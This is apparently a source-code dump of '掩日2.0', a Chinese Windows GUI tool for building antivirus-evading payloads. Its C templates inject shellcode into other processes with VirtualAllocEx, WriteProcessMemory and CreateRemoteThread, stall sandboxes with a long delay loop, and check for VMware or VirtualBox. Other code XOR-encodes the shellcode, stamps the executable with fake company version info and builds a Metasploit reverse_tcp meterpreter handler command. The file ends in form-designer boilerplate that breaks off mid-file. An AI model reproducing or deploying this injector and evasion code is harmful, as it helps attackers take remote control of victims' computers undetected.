dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 64 | OpenProcessC op = (OpenProcessC)GetProcAddress(GetModuleHandle(Xernel), ""OpenProcess""); 65 | HANDLE processHandle = (char*)(*op)(PROCESS_ALL_ACCESS, FALSE, pid); 66 | typedef LPVOID(WINAPI* VirtualAllocExC)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 67 | VirtualAllocExC vae = (VirtualAllocExC)GetProcAddress(GetModuleHandle(Xernel), ""VirtualAllocEx""); 68 | PVOID remoteBuffer = (char*)(*vae)(processHandle, NULL, sizeof code, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 69 | WriteProcessMemory(processHandle, remoteBuffer, code, sizeof code, NULL); 70 | typedef LPVOID(WINAPI* CreateRemoteThreadC)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 71 | CreateRemoteThreadC crt = (CreateRemoteThreadC)GetProcAddress(GetModuleHandle(Xernel), ""CreateRemoteThread""); 72 | HANDLE remoteThread = (char*)(*crt)(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); 73 | WaitForSingleObject(remoteThread, -1); 74 | CloseHandle(processHandle);"; 75 | 76 | //注入到新进程,需要提供进程名 77 | public static string CreateNew = @"char* Xernel = ((char[]){'k','e','r','n','e','l','3','2','\0'}); 78 | STARTUPINFOA si; 79 | PROCESS_INFORMATION pi; 80 | si.cb = sizeof(STARTUPINFO); 81 | si.lpReserved = NULL; 82 | si.lpDesktop = NULL; 83 | si.lpTitle = NULL; 84 | si.dwFlags = STARTF_USESHOWWINDOW; 85 | si.wShowWindow = SW_HIDE; 86 | si.cbReserved2 = 0; 87 | si.lpReserved2 = NULL; 88 | CreateProcessA(0, ""{{processname}}"", 0, 0, 0, 0, 0, 0, &si, &pi); 89 | DWORD pid = pi.dwProcessId; 90 | 91 | typedef LPVOID(WINAPI* OpenProcessC)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 92 | OpenProcessC op = (OpenProcessC)GetProcAddress(GetModuleHandle(Xernel), ""OpenProcess""); 93 | HANDLE processHandle = (char*)(*op)(PROCESS_ALL_ACCESS, FALSE, pid); 94 | 95 | typedef LPVOID(WINAPI* VirtualAllocExC)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 96 | VirtualAllocExC vae = (VirtualAllocExC)GetProcAddress(GetModuleHandle(Xernel), ""VirtualAllocEx""); 97 | PVOID remoteBuffer = (char*)(*vae)(processHandle, NULL, sizeof code, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 98 | 99 | WriteProcessMemory(processHandle, remoteBuffer, code, sizeof code, NULL); 100 | 101 | typedef LPVOID(WINAPI* CreateRemoteThreadC)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 102 | CreateRemoteThreadC crt = (CreateRemoteThreadC)GetProcAddress(GetModuleHandle(Xernel), ""CreateRemoteThread""); 103 | HANDLE remoteThread = (char*)(*crt)(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); 104 | 105 | WaitForSingleObject(remoteThread, -1); 106 | CloseHandle(processHandle);"; 107 | 108 | //延时绕沙箱,这个测试延时约180+秒 109 | public static string Super_Delay = @"for(int i = 1; i<50000000;i++) 110 | { 111 | for(int j=1;j<1500;j++) 112 | { 113 | int a=1; 114 | a += 88; 115 | } 116 | a += 1; 117 | } 118 | if(a != 50000000) 119 | { 120 | return; 121 | }"; 122 | 123 | //检查注册表和文件绕虚拟机 124 | public static string Vm_Detect = @"HKEY hkey; 125 | if (RegOpenKey(HKEY_CLASSES_ROOT, ""\\Applications\\VMwareHostOpen.exe"", &hkey) == ERROR_SUCCESS) 126 | { 127 | return; 128 | } 129 | if (access(""C:\\Program Files\\VMware\\VMware Tools\\"", 0) == 0) 130 | { 131 | return; 132 | } 133 | if (access(""C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\"") == 0) 134 | { 135 | return; 136 | } 137 | if (RegOpenKey(HKEY_LOCAL_MACHINE, ""SOFTWARE\\Oracle\\VirtualBox Guest Additions"", &hkey) == ERROR_SUCCESS) 138 | { 139 | return; 140 | }"; 141 | 142 | //编译信息 143 | public static string compile_info = @"1 VERSIONINFO 144 | FILEVERSION 1,0,0,0 145 | PRODUCTVERSION 1,0,0,0 146 | FILEOS 0x40004 147 | FILETYPE 0x1 148 | { 149 | BLOCK ""StringFileInfo"" 150 | { 151 | BLOCK ""040904B0"" 152 | { 153 | VALUE ""CompanyName"", ""{{companyname}}"" 154 | VALUE ""FileDescription"", ""An Excellent Software Developed By {{companyname}} To Solove Your Problem."" 155 | VALUE ""FileVersion"", ""1.0.0.0"" 156 | VALUE ""LegalCopyright"", ""Copyright (C) 2020 {{companyname}}. All rights reserved."" 157 | VALUE ""ProductName"", ""{{companyname}} Helper"" 158 | VALUE ""ProductVersion"", ""1.0.0.0"" 159 | } 160 | } 161 | 162 | BLOCK ""VarFileInfo"" 163 | { 164 | VALUE ""Translation"", 0X0409, 0X04B0 165 | } 166 | } 167 | 168 | "; 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /掩日2.0/Form1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace 掩日2._0 11 | { 12 | public partial class Form1 : Form 13 | { 14 | //全局变量 15 | public bool MODE = true; // true for easy mode which is default, false for custom mode 16 | public bool ENV = true; //true for GCC installed 17 | 18 | public Form1() 19 | { 20 | InitializeComponent(); 21 | this.Height = 110; 22 | bool env = false; 23 | comboBox1.SelectedIndex = 0; 24 | comboBox3.SelectedIndex = 0; 25 | comboBox5.Items.AddRange(Global.VM_Sandbox); 26 | comboBox5.SelectedIndex = 0; 27 | //判断是否已安装GCC 28 | if (!Common.Execute_Cmd("gcc --version").Contains("tdm64")) 29 | { 30 | DialogResult result = MessageBox.Show("缺少必要的执行环境(tdm-gcc),点击确定将启动兼容模式,兼容模式下,多数功能无法使用。点击取消打开使用说明界面", "警告", MessageBoxButtons.OKCancel, MessageBoxIcon.Exclamation); 31 | if (result == DialogResult.OK) 32 | { 33 | this.Text = "掩日 2.0 - 兼容 - 1y0n.com"; 34 | ENV = false; // 没有安装GCC 35 | MODE = false; //环境不全的情况下,极简模式不能用 36 | linkLabel1.Text = ""; 37 | panel1.Height = 410; 38 | panel1.Visible = true; 39 | this.Height = 519; 40 | textBox1.Enabled = false; 41 | comboBox1.Items.Clear(); 42 | comboBox1.Items.Add("C#"); 43 | comboBox1.SelectedIndex = 0; 44 | linkLabel1.Enabled = false; 45 | textBox1.Text = "兼容模式下不可用"; 46 | textBox1.Enabled = false; 47 | } 48 | else 49 | { 50 | System.Diagnostics.Process.Start("https://github.com/1y0n/AV_Evasion_Tool/"); 51 | System.Environment.Exit(-1); 52 | } 53 | } 54 | } 55 | 56 | private void label3_Click(object sender, EventArgs e) 57 | { 58 | AboutBox1 ab = new AboutBox1(); 59 | ab.Show(); 60 | } 61 | 62 | private void button1_Click(object sender, EventArgs e) 63 | { 64 | if (MODE) //极简模式 65 | { 66 | if (textBox1.Text.Contains(":")) 67 | { 68 | string ip = textBox1.Text.Split(':')[0]; 69 | string port = textBox1.Text.Split(':')[1]; 70 | saveFileDialog1.Filter = "可执行文件|*.exe"; 71 | if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "")) 72 | { 73 | string savepath = saveFileDialog1.FileName; 74 | if (Core.Generate_1_IP(comboBox3.Text, ip, port, savepath)) 75 | { 76 | if (MessageBox.Show("生成成功,是否复制 metasploit 启动命令到剪贴板?", "成功", MessageBoxButtons.YesNo) == DialogResult.Yes) 77 | { 78 | string msf_cmd = @"msfconsole -x ""use exploit/multi/handler; set payload windows/{{arch}}meterpreter/reverse_tcp; set lhost {{ip}}; set lport {{port}}; run; """; 79 | string temp = comboBox3.Text.StartsWith("64") ? "x64/" : ""; 80 | msf_cmd = msf_cmd.Replace("{{arch}}", temp).Replace("{{ip}}", ip).Replace("{{port}}", port); 81 | Clipboard.SetText(msf_cmd); 82 | } 83 | } 84 | else 85 | { 86 | MessageBox.Show("生成失败,请检查你的输入。"); 87 | } 88 | } 89 | else 90 | { 91 | MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。"); 92 | return; 93 | } 94 | } 95 | else 96 | { 97 | MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。"); 98 | return; 99 | } 100 | } 101 | else 102 | { 103 | if (comboBox2.Text.Contains("注入")) 104 | { 105 | if (textBox2.Text.Trim() == "") 106 | { 107 | MessageBox.Show("漏填了必填项,请检查", "提示"); 108 | return; 109 | } 110 | if (comboBox2.Text.Contains("现有")) 111 | { 112 | try 113 | { 114 | int temp = int.Parse(textBox2.Text); 115 | } 116 | catch 117 | { 118 | MessageBox.Show("注入现有进程时必须填写数字PID号", "提示"); 119 | return; 120 | } 121 | } 122 | } 123 | saveFileDialog1.Filter = "可执行文件|*.exe"; 124 | if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "") && (richTextBox1.Text.Trim() != "")) 125 | { 126 | bool result = false; 127 | if (comboBox1.Text == "C") 128 | { 129 | result = Core.Gen_C(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text); 130 | } 131 | else if (comboBox1.Text == "C#") 132 | { 133 | result = Core.Gen_CS(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text); 134 | } 135 | if (result) 136 | { 137 | MessageBox.Show("生成成功!不要将生成的程序上传到在线杀毒网站", "成功"); 138 | return; 139 | } 140 | else 141 | { 142 | MessageBox.Show("生成失败!请检查你的输入", "失败"); 143 | return; 144 | } 145 | } 146 | else 147 | { 148 | return; 149 | } 150 | } 151 | } 152 | 153 | public void SwitchMode() 154 | { 155 | if (MODE) // 当前是极简模式,准备切换到进阶模式 156 | { 157 | MODE = false; 158 | linkLabel1.Text = "🔺极简"; 159 | panel1.Height = 410; 160 | panel1.Visible = true; 161 | this.Height = 519; 162 | textBox1.Enabled = false; 163 | } 164 | else //切换到极简模式 165 | { 166 | MODE = true; 167 | linkLabel1.Text = "🔻进阶"; 168 | panel1.Visible = false; 169 | this.Height = 110; 170 | textBox1.Enabled = true; 171 | } 172 | } 173 | 174 | private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) 175 | { 176 | SwitchMode(); 177 | } 178 | 179 | private void richTextBox1_TextChanged(object sender, EventArgs e) 180 | { 181 | richTextBox1.ForeColor = Color.Black; 182 | } 183 | 184 | private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) 185 | { 186 | if (comboBox1.Text == "C") 187 | { 188 | comboBox2.Items.Clear(); 189 | comboBox2.Items.AddRange(Global.C_Execute); 190 | comboBox2.SelectedIndex = 0; 191 | } 192 | else if (comboBox1.Text == "C#") 193 | { 194 | comboBox2.Items.Clear(); 195 | if (comboBox3.Text.StartsWith("32")) 196 | { 197 | comboBox2.Items.AddRange(Global.CS_Execute_x86); 198 | } 199 | else 200 | { 201 | comboBox2.Items.AddRange(Global.CS_Execute_x64); 202 | } 203 | comboBox2.SelectedIndex = 0; 204 | } 205 | } 206 | 207 | private void comboBox2_SelectedIndexChanged(object sender, EventArgs e) 208 | { 209 | if (comboBox2.Text.Contains("注入新进程")) 210 | { 211 | textBox2.Enabled = true; 212 | label4.Text = "注入进程名:"; 213 | textBox2.Text = "notepad.exe"; 214 | } 215 | else if (comboBox2.Text.Contains("注入现有进程")) 216 | { 217 | textBox2.Enabled = true; 218 | label4.Text = "进程PID:"; 219 | textBox2.Clear(); 220 | } 221 | else 222 | { 223 | textBox2.Enabled = false; 224 | } 225 | } 226 | 227 | private void radioButton6_CheckedChanged(object sender, EventArgs e) 228 | { 229 | if (!radioButton6.Checked) 230 | { 231 | return; 232 | } 233 | MessageBox.Show("图标路径不要包含中文,否则无法生成", "提示"); 234 | openFileDialog1.Filter = "图标文件|*.ico"; 235 | if ((openFileDialog1.ShowDialog() == DialogResult.OK) && (openFileDialog1.FileName != "")) 236 | { 237 | pictureBox3.ImageLocation = Global.ICONPATH = openFileDialog1.FileName; 238 | } 239 | else 240 | { 241 | radioButton3.Checked = true; 242 | } 243 | } 244 | 245 | private void comboBox3_SelectedIndexChanged(object sender, EventArgs e) 246 | { 247 | if (comboBox1.Text == "C#") 248 | { 249 | comboBox2.Items.Clear(); 250 | if (comboBox3.Text.StartsWith("32")) 251 | { 252 | comboBox2.Items.AddRange(Global.CS_Execute_x86); 253 | } 254 | else 255 | { 256 | comboBox2.Items.AddRange(Global.CS_Execute_x64); 257 | } 258 | comboBox2.SelectedIndex = 0; 259 | } 260 | } 261 | 262 | private void richTextBox1_Click(object sender, EventArgs e) 263 | { 264 | if (richTextBox1.Text.Contains("msfvenom")) 265 | { 266 | richTextBox1.Clear(); 267 | } 268 | } 269 | 270 | private void radioButton3_CheckedChanged(object sender, EventArgs e) 271 | { 272 | Global.ICONPATH = ""; 273 | } 274 | } 275 | } 276 | -------------------------------------------------------------------------------- /掩日2.0/Core.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Text.RegularExpressions; 6 | 7 | namespace 掩日2._0 8 | { 9 | class Core 10 | { 11 | //极简模式 12 | public static bool Generate_1_IP(string arch, string ip, string port, string path) 13 | { 14 | string finalip = ""; 15 | 16 | foreach (char c in ip) 17 | { 18 | finalip += "'" + c + "',"; 19 | } 20 | finalip += @"'\0'"; 21 | 22 | string FinalCode = T_EasyMode.GetCode().Replace("{{ip}}", finalip).Replace("{{port}}", port); 23 | 24 | string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c"; 25 | System.IO.File.WriteAllText(temp_path, FinalCode); 26 | 27 | //开始编译 28 | string compilecmd = @"gcc " + temp_path + @" -o """ + path + @""" -mwindows -m"+ arch.Substring(0, 2) +" -lws2_32"; 29 | 30 | if (!Common.Execute_Cmd(compilecmd).Contains("error:")) 31 | { 32 | System.IO.File.Delete(temp_path); 33 | return true; 34 | } 35 | else 36 | { 37 | System.IO.File.Delete(temp_path); 38 | return false; 39 | } 40 | } 41 | 42 | //处理 shellcode,并全部转换成 c# 格式 43 | public static string Shellcode_Handle(string raw) 44 | { 45 | string result = ""; 46 | //去掉所有换行 → 匹配出shellcode → 去掉所有空格 → 去掉引号、分号、括号 → 转换格式 47 | raw = raw.Replace("\r\n", "").Replace("\r", "").Replace("\n", ""); 48 | 49 | if (raw.Contains(@"\x")) 50 | { 51 | //c 类型的shellcode 52 | string pattern = @"=.*$"; 53 | string temp = Regex.Match(raw, pattern).Value; 54 | result = temp.Replace(@"""", "").Replace(" ", "").Replace("=", "").Replace(";", ""); 55 | } 56 | else if ((raw.Contains(@",0x")) || (raw.Contains(@", 0x"))) 57 | { 58 | //c# 类型的shellcode 59 | string pattern = @"{.*}"; 60 | string temp = Regex.Match(raw, pattern).Value; 61 | result = temp.Replace("{", "").Replace(" ", "").Replace("}", "").Replace(";", ""); 62 | } 63 | else 64 | { 65 | return ""; 66 | } 67 | //转换成 c# 格式 68 | if (result.Contains(@"\x")) 69 | { 70 | result = result.Replace(@"\x", ",0x").TrimStart(','); 71 | } 72 | return result; 73 | } 74 | 75 | //变异异或,需要指定返回 c 还是 c# 格式的 shellcode 76 | public static string XOR_C(string format, string raw) 77 | { 78 | string result = ""; 79 | string[] shellcode_array = raw.Split(','); 80 | string[] temp = new string[shellcode_array.Length]; 81 | int j = 234; 82 | int add = 12; 83 | for (int i = 0; i < shellcode_array.Length; i++) 84 | { 85 | temp[i] = string.Format("{0:x2}", string_to_int(shellcode_array[i]) ^ 123 ^ j); 86 | temp[i] = "0x" + temp[i].Substring(temp[i].Length - 2, 2); 87 | j += add; 88 | } 89 | result = string.Join(",", temp); 90 | //转换一下格式 91 | if (format == "c") 92 | { 93 | result = result.Replace("0x", @"\x").Replace(",", ""); 94 | } 95 | return result; 96 | } 97 | 98 | //字符串转十进制,返回byte形式 99 | public static byte string_to_int(string str) 100 | { 101 | string temp = str.Substring(str.Length - 2, 2); 102 | int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); 103 | return BitConverter.GetBytes(hex)[0]; 104 | } 105 | 106 | //生成 c 源码并编译 107 | public static bool Gen_C(string shellcode, string path, string execute, string inject, string arch, string detect) 108 | { 109 | string finalcode; 110 | shellcode = Shellcode_Handle(shellcode); 111 | shellcode = XOR_C("c", shellcode); 112 | 113 | Random r = new Random(); 114 | int n = r.Next(0, Global.Company_name.Length - 1); 115 | string comname = Global.Company_name[n]; 116 | 117 | string c_compile_info = C_Template.compile_info.Replace("{{companyname}}", comname); 118 | 119 | //图标设置 120 | if (Global.ICONPATH != "") 121 | { 122 | c_compile_info += @"IDI_ICON1 ICON ""{{path}}"""; 123 | c_compile_info = c_compile_info.Replace("{{path}}", Global.ICONPATH.Replace("\\", "\\\\")); 124 | } 125 | System.IO.File.WriteAllText("C:\\Windows\\Temp\\Yanri_res.rc", c_compile_info); 126 | string res_cmd = "windres C:\\Windows\\Temp\\Yanri_res.rc C:\\Windows\\Temp\\Yanri_res.o"; 127 | if (arch.StartsWith("32")) 128 | { 129 | res_cmd += " --target=pe-i386"; 130 | } 131 | Common.Execute_Cmd(res_cmd); 132 | bool icon_set = System.IO.File.Exists("C:\\Windows\\Temp\\Yanri_res.o"); 133 | //System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.rc"); 134 | 135 | //根据执行方式选择代码模板 136 | if (execute == "执行4-Dynamic") 137 | { 138 | finalcode = C_Template.Dynamic.Replace("{{shellcode}}", shellcode); 139 | } 140 | else 141 | { 142 | finalcode = C_Template.Base_Code.Replace("{{shellcode}}", shellcode); 143 | switch (execute) 144 | { 145 | case "执行1-VirtualAlloc": 146 | finalcode = finalcode.Replace("//{{execute}}", C_Template.VirtualALloc); 147 | break; 148 | case "执行2-GetProcAddress": 149 | finalcode = finalcode.Replace("//{{execute}}", C_Template.GetProcessAddress); 150 | break; 151 | case "注入现有进程": 152 | finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateRemoteThread); 153 | finalcode = finalcode.Replace("{{pid}}", inject); 154 | break; 155 | case "注入新进程": 156 | finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateNew); 157 | finalcode = finalcode.Replace("{{processname}}", inject); 158 | break; 159 | default: 160 | return false; 161 | } 162 | } 163 | //虚拟机及沙箱检测 164 | switch (detect) 165 | { 166 | case "沙箱:延时约180秒": 167 | finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Super_Delay); 168 | break; 169 | case "虚拟机:简单反虚拟机": 170 | finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Vm_Detect); 171 | break; 172 | } 173 | 174 | //保存代码到临时文件 175 | string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c"; 176 | System.IO.File.WriteAllText(temp_path, finalcode); 177 | 178 | //编译 179 | if (C_Compiler(arch, temp_path, path, icon_set)) 180 | { 181 | //System.IO.File.Delete(temp_path); 182 | System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o"); 183 | return true; 184 | } else 185 | { 186 | System.IO.File.Delete(temp_path); 187 | System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o"); 188 | return false; 189 | } 190 | } 191 | 192 | //生成 c# 源码并编译 193 | public static bool Gen_CS(string shellcode, string path, string execute, string inject, string arch, string detect) 194 | { 195 | shellcode = Shellcode_Handle(shellcode); 196 | shellcode = XOR_C("c#", shellcode); 197 | string target_arch = "/platform:x86 /optimize /target:winexe "; 198 | if (arch.StartsWith("6")) 199 | { 200 | target_arch = target_arch.Replace("86", "64"); 201 | } 202 | if (Global.ICONPATH != "") 203 | { 204 | target_arch += " /win32icon:" + Global.ICONPATH; 205 | } 206 | string finalcode = ""; 207 | 208 | //根据执行方式决定代码模板 209 | switch (execute) 210 | { 211 | case "执行1-GetProcAddress": 212 | finalcode = CS_Template.getprocaddress.Replace("{{shellcode}}", shellcode); 213 | break; 214 | case "执行2-VirtualProtect": 215 | finalcode = CS_Template.virtualprotect.Replace("{{shellcode}}", shellcode); 216 | break; 217 | case "注入现有进程": 218 | finalcode = CS_Template.syscall_exist.Replace("{{shellcode}}", shellcode).Replace("{{pid}}", inject); 219 | target_arch += " /unsafe"; 220 | break; 221 | case "注入新进程": 222 | finalcode = CS_Template.syscall_new.Replace("{{shellcode}}", shellcode).Replace("{{processname}}", inject); 223 | target_arch += " /unsafe"; 224 | break; 225 | } 226 | 227 | //虚拟机/沙箱检测 228 | switch (detect) 229 | { 230 | case "沙箱:延时约180秒": 231 | finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.super_delay); 232 | break; 233 | case "虚拟机:简单反虚拟机": 234 | finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.vm_detect); 235 | break; 236 | } 237 | 238 | //代码生成完毕,准备开始编译 239 | Compiler compiler = new Compiler(); 240 | compiler.compileToExe(finalcode, path, target_arch); 241 | //System.IO.File.WriteAllText(@"C:\Users\www1y\Desktop\arch.txt", target_arch); 242 | 243 | 244 | return true; 245 | } 246 | 247 | //编译 c 248 | public static bool C_Compiler(string arch, string source_path, string save_path, bool res=false) 249 | { 250 | string arch_cmd = " -m" + arch.Substring(0, 2); 251 | string compile_cmd = @"gcc -mwindows -o """ + save_path + @"""" + arch_cmd + @" """ + source_path + @""""; 252 | if (res) 253 | { 254 | compile_cmd += @" C:\\Windows\\Temp\\Yanri_res.o"; 255 | } 256 | //System.IO.File.WriteAllText(@"C:\\Users\\www1y\\Desktop\\cmd1.txt", compile_cmd); 257 | if (!Common.Execute_Cmd(compile_cmd).Contains("rror:")) 258 | { 259 | return true; 260 | } 261 | return false; 262 | } 263 | } 264 | } 265 | -------------------------------------------------------------------------------- /掩日2.0/AboutBox1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace 掩日2._0 2 | { 3 | partial class AboutBox1 4 | { 5 | /// 6 | /// 必需的设计器变量。 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// 清理所有正在使用的资源。 12 | /// 13 | protected override void Dispose(bool disposing) 14 | { 15 | if (disposing && (components != null)) 16 | { 17 | components.Dispose(); 18 | } 19 | base.Dispose(disposing); 20 | } 21 | 22 | #region Windows 窗体设计器生成的代码 23 | 24 | /// 25 | /// 设计器支持所需的方法 - 不要修改 26 | /// 使用代码编辑器修改此方法的内容。 27 | /// 28 | private void InitializeComponent() 29 | { 30 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutBox1)); 31 | this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); 32 | this.logoPictureBox = new System.Windows.Forms.PictureBox(); 33 | this.labelProductName = new System.Windows.Forms.Label(); 34 | this.labelVersion = new System.Windows.Forms.Label(); 35 | this.labelCopyright = new System.Windows.Forms.Label(); 36 | this.labelCompanyName = new System.Windows.Forms.Label(); 37 | this.textBoxDescription = new System.Windows.Forms.TextBox(); 38 | this.okButton = new System.Windows.Forms.Button(); 39 | this.backgroundWorker1 = new System.ComponentModel.BackgroundWorker(); 40 | this.tableLayoutPanel.SuspendLayout(); 41 | ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit(); 42 | this.SuspendLayout(); 43 | // 44 | // tableLayoutPanel 45 | // 46 | this.tableLayoutPanel.ColumnCount = 2; 47 | this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33F)); 48 | this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 67F)); 49 | this.tableLayoutPanel.Controls.Add(this.logoPictureBox, 0, 0); 50 | this.tableLayoutPanel.Controls.Add(this.labelProductName, 1, 0); 51 | this.tableLayoutPanel.Controls.Add(this.labelVersion, 1, 1); 52 | this.tableLayoutPanel.Controls.Add(this.labelCopyright, 1, 2); 53 | this.tableLayoutPanel.Controls.Add(this.labelCompanyName, 1, 3); 54 | this.tableLayoutPanel.Controls.Add(this.textBoxDescription, 1, 4); 55 | this.tableLayoutPanel.Controls.Add(this.okButton, 1, 5); 56 | this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; 57 | this.tableLayoutPanel.Location = new System.Drawing.Point(9, 8); 58 | this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); 59 | this.tableLayoutPanel.Name = "tableLayoutPanel"; 60 | this.tableLayoutPanel.RowCount = 6; 61 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); 62 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); 63 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); 64 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); 65 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); 66 | this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); 67 | this.tableLayoutPanel.Size = new System.Drawing.Size(417, 246); 68 | this.tableLayoutPanel.TabIndex = 0; 69 | // 70 | // logoPictureBox 71 | // 72 | this.logoPictureBox.Dock = System.Windows.Forms.DockStyle.Fill; 73 | this.logoPictureBox.Image = ((System.Drawing.Image)(resources.GetObject("logoPictureBox.Image"))); 74 | this.logoPictureBox.Location = new System.Drawing.Point(3, 2); 75 | this.logoPictureBox.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); 76 | this.logoPictureBox.Name = "logoPictureBox"; 77 | this.tableLayoutPanel.SetRowSpan(this.logoPictureBox, 6); 78 | this.logoPictureBox.Size = new System.Drawing.Size(131, 242); 79 | this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; 80 | this.logoPictureBox.TabIndex = 12; 81 | this.logoPictureBox.TabStop = false; 82 | // 83 | // labelProductName 84 | // 85 | this.labelProductName.Dock = System.Windows.Forms.DockStyle.Fill; 86 | this.labelProductName.Location = new System.Drawing.Point(143, 0); 87 | this.labelProductName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0); 88 | this.labelProductName.MaximumSize = new System.Drawing.Size(0, 16); 89 | this.labelProductName.Name = "labelProductName"; 90 | this.labelProductName.Size = new System.Drawing.Size(271, 16); 91 | this.labelProductName.TabIndex = 19; 92 | this.labelProductName.Text = "产品名称"; 93 | this.labelProductName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; 94 | // 95 | // labelVersion 96 | // 97 | this.labelVersion.Dock = System.Windows.Forms.DockStyle.Fill; 98 | this.labelVersion.Location = new System.Drawing.Point(143, 24); 99 | this.labelVersion.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0); 100 | this.labelVersion.MaximumSize = new System.Drawing.Size(0, 16); 101 | this.labelVersion.Name = "labelVersion"; 102 | this.labelVersion.Size = new System.Drawing.Size(271, 16); 103 | this.labelVersion.TabIndex = 0; 104 | this.labelVersion.Text = "版本"; 105 | this.labelVersion.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; 106 | // 107 | // labelCopyright 108 | // 109 | this.labelCopyright.Dock = System.Windows.Forms.DockStyle.Fill; 110 | this.labelCopyright.Location = new System.Drawing.Point(143, 48); 111 | this.labelCopyright.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0); 112 | this.labelCopyright.MaximumSize = new System.Drawing.Size(0, 16); 113 | this.labelCopyright.Name = "labelCopyright"; 114 | this.labelCopyright.Size = new System.Drawing.Size(271, 16); 115 | this.labelCopyright.TabIndex = 21; 116 | this.labelCopyright.Text = "版权"; 117 | this.labelCopyright.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; 118 | // 119 | // labelCompanyName 120 | // 121 | this.labelCompanyName.Dock = System.Windows.Forms.DockStyle.Fill; 122 | this.labelCompanyName.Location = new System.Drawing.Point(143, 72); 123 | this.labelCompanyName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0); 124 | this.labelCompanyName.MaximumSize = new System.Drawing.Size(0, 16); 125 | this.labelCompanyName.Name = "labelCompanyName"; 126 | this.labelCompanyName.Size = new System.Drawing.Size(271, 16); 127 | this.labelCompanyName.TabIndex = 22; 128 | this.labelCompanyName.Text = "公司名称"; 129 | this.labelCompanyName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; 130 | // 131 | // textBoxDescription 132 | // 133 | this.textBoxDescription.Dock = System.Windows.Forms.DockStyle.Fill; 134 | this.textBoxDescription.Location = new System.Drawing.Point(143, 98); 135 | 